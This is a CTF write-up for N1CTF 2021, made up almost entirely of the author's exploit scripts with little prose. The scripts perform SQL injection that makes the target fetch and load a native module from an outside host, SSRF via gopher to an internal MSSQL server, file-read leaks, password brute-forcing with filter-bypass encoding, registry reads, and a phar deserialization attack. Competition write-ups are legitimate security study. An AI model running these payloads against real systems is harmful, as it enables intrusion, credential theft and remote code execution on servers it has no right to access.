N1CTF 2021 Writeup

#!/usr/bin/python
#-*- coding: utf-8 -*-
import requests
import random
import base64


# SQL Injection
url = "http://47.57.246.66:12321/?str=world';{};--"
# Payload from other team
payload = "select group_concat(result)from curl where url='http://127.0.0.1:16324' and user_agent='\n\n\n\n\n\n\n\n\n\n\n\n\n\n{node}\n\n\n\n\n\n\n\n\n\n\n'"


"""
Write native module to server

fs = require("fs");
http = require("http")

f = fs.openSync("/tmp/styp.node", "w")
http.get({
    host: "158.101.144.10",
    port: 80,
    path: "/styp.node?exp"
}, function(resp){
    resp.on("data", function(exploit){
        fs.writeSync(f, exploit, 0, exploit.length)
    });
    resp.on("end", function(){
        fs.closeSync(f)
        process.exit(1)
    });
});
"""
gadget_init = "fs=require(\"fs\");f=fs.openSync(\"/tmp/styp.node\",\"w\");http=require(\"http\");http.get({ host:\"158.101.144.10\",port:80,path:\"/styp.node?q\"},function(r){r.on(\"data\",function(c){fs.writeSync(f, nc, 0, c.length);});r.on(\"end\", function(){fs.closeSync(f);process.exit(1);})});"
payload_init = payload.format(node=gadget_init)

r = requests.get(url.format(payload_init))
print(r.text)

"""
Run my native module

sty = require("/tmp/styp.node")
console.log(sty)
"""
gadget_shell = "sty=require(\"/tmp/styp.node\");console.log(sty);"
payload_shell = payload.format(node=gadget_shell)

r = requests.get(url.format(payload_shell))
print(r.text)

root@stypr-jpn:~/aaa/funny# cat craft.py
...
...
if __name__ == "__main__":
    # 10.11.22.9 , 1443, sa
    # HKEY_LOCAL_MACHINE\SOFTWARE\N1CTF2021
    print(prelogin())
    # def login(server, database, username, password='', domain='', hashes = None, useWindowsAuth = False):
    print(login('10.11.22.9', None, 'sa', password='123456'))
    print(exec_query("SELECT 1337")) # Note: 2 bytes needs to be added on top of it, gopher adds \r\n

root@stypr-jpn:~/aaa/funny# python3 craft.py 
b'\x12\x01\x00/\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x07\x03\x00#\x00\x04\xff\x08\x00\x01U\x00\x00\x00mssql5\x00\x93\xe0\x00\x00'
b"\x10\x01\x00\xb2\x00\x00\x01\x00\xaa\x00\x00\x00\x00\x00\x00q\xfb\x7f\x00\x00\x00\x00\x00\x07'\x00\x00\x00\x00\x00\x00\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00V\x00\x08\x00f\x00\x02\x00j\x00\x06\x00v\x00\x08\x00\x86\x00\n\x00\x00\x00\x00\x00\x9a\x00\x08\x00\xaa\x00\x00\x00\xaa\x00\x00\x00\x01\x02\x03\x04\x05\x06\xaa\x00\x00\x00\xaa\x00\x00\x00S\x00K\x00W\x00j\x00y\x00c\x00t\x00m\x00s\x00a\x00\xb6\xa5\x86\xa5\x96\xa5\xe6\xa5\xf6\xa5\xc6\xa5R\x00O\x00w\x00T\x00D\x00E\x00K\x00z\x001\x000\x00.\x001\x001\x00.\x002\x002\x00.\x009\x00R\x00O\x00w\x00T\x00D\x00E\x00K\x00z\x00"
b'\x01\x01\x00(\x00\x00\x01\x00S\x00E\x00L\x00E\x00C\x00T\x00 \x001\x003\x003\x007\x00;\x00-\x00-\x00 \x00-\x00'

import os
import requests

def leak_password():
    """ Leaks the content of file:///password.txt """
    hash = "7b3ba344-2974-c748-8558-102060de0902"
    d = {
        "url": "fi[j-m]e:///{password.txt,"+hash+"}"
    }
    h = {
        "Cookie": "PHPSESSID=rhi443hsuiglkntgqf7vgdpf8l",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    # print(requests.post("https://fo.ax/f.php",  data=d, headers=h).text)
    r = requests.post("http://129.226.12.144/index.php", headers=h, data=d)
    print(r.headers)
    return r.text

def ssrf_bruteforce():
    """ Bruteforce for the password """
    # Password is 32367d71-af9b-4996-852f-f5566c13971a

    password_list = []
    with open("password.txt", "r") as f:
        password_list = [i.strip() for i in f.read().split() if i]

    for password in password_list:
        _res = os.popen(f"php gen_payload.php {password} \"SELECT 'ASDFASDF'\"").read()
        # This is to bypass the l, g
        _res = _res.replace("l", "%6C").replace("g", "%67")
        _res = _res.replace("L", "%4C").replace("G", "%47")

        hash = "7b3ba344-2974-c748-8558-102060de0902"
        d = {"url": "[f-h]opher://10.11.22.9:1433/A{"+_res+","+hash+"}"}
        h = {
            "Cookie": "PHPSESSID=rhi443hsuiglkntgqf7vgdpf8l",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        r = requests.post("http://129.226.12.144/index.php", headers=h, data=d)
        print(r.headers)
        t = r.text
        # Check if invalid authentication message does not exist
        if "\x00\x69\x00\x6c\x00\x65\x00\x64\x00\x20\x00\x66\x00\x6f\x00\x72" not in t:
            print(">>>>>>>>>" + password)
            exit(0)

def ssrf_run_cmd():
    password = "32367d71-af9b-4996-852f-f5566c13971a"
    _res = os.popen(f"php gen_payload.php {password} \"EXECUTE master.sys.xp_regenumvalues 'HKEY_LOCAL_MACHINE','Software\\N1CTF2021'\"").read()
    #  _res = os.popen(f"php gen_payload.php {password} \"EXECUTE master.sys.xp_regread 'AAAAAAAAAAAAAAAAAAAAA'\"").read()
    # This is to bypass the l, g
    _res = _res.replace("l", "%6C").replace("g", "%67")
    _res = _res.replace("L", "%4C").replace("G", "%47")

    hash = "7b3ba344-2974-c748-8558-102060de0902"
    d = {"url": "[f-h]opher://10.11.22.9:1433/A{"+_res+","+hash+"}"}
    h = {
        "Cookie": "PHPSESSID=rhi443hsuiglkntgqf7vgdpf8l",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    r = requests.post("http://129.226.12.144/index.php", headers=h, data=d)
    t = r.text
    return t

if __name__ == "__main__":
    # print(leak_password())
    # print(ssrf_bruteforce())
    print(ssrf_run_cmd())

# NOTE: python2
import os
import sys
import struct
import requests
from datetime import datetime

def calc_checksum(data):
    return sum(struct.unpack_from("148B8x356B",data))+256

if __name__=="__main__":
    # generate date and phar content
    generated_date = os.popen("php exp_gen.php").read().split("FLAG: ")[0]
    generated_type = "styp979"
    generated_metadata = "Time: " + generated_date + " IP: [], REQUEST: [log_type=" + generated_type + "], CONTENT: ["

    # make it into phar format
    with open("get_flag.tar", "rb") as f:
        data = f.read()
    new_name = generated_metadata.ljust(100,'\x00').encode()
    new_data = new_name + data[100:]
    checksum = calc_checksum(new_data)
    new_checksum = oct(checksum).rjust(7,'0').encode()+b'\x00'
    new_data = new_name + data[100:148] + new_checksum + data[156:]
    with open("get_flag.log", "wb") as f:
        f.write(new_data)
        f.write(b"]\n")

    # request to server..
    print("Sending exp to the server...")
    with open("get_flag.log", "rb") as f:
        requests.post("http://43.155.59.185:53340/log.php?log_type=" + generated_type, data=f.read().replace(generated_metadata, "").replace("]\n","")).text

    # getflag
    print("Getflag!")
    print(requests.get("http://43.155.59.185:53340/index.php?file=phar://log/158.101.144.10/" +generated_type + "_www.log").text)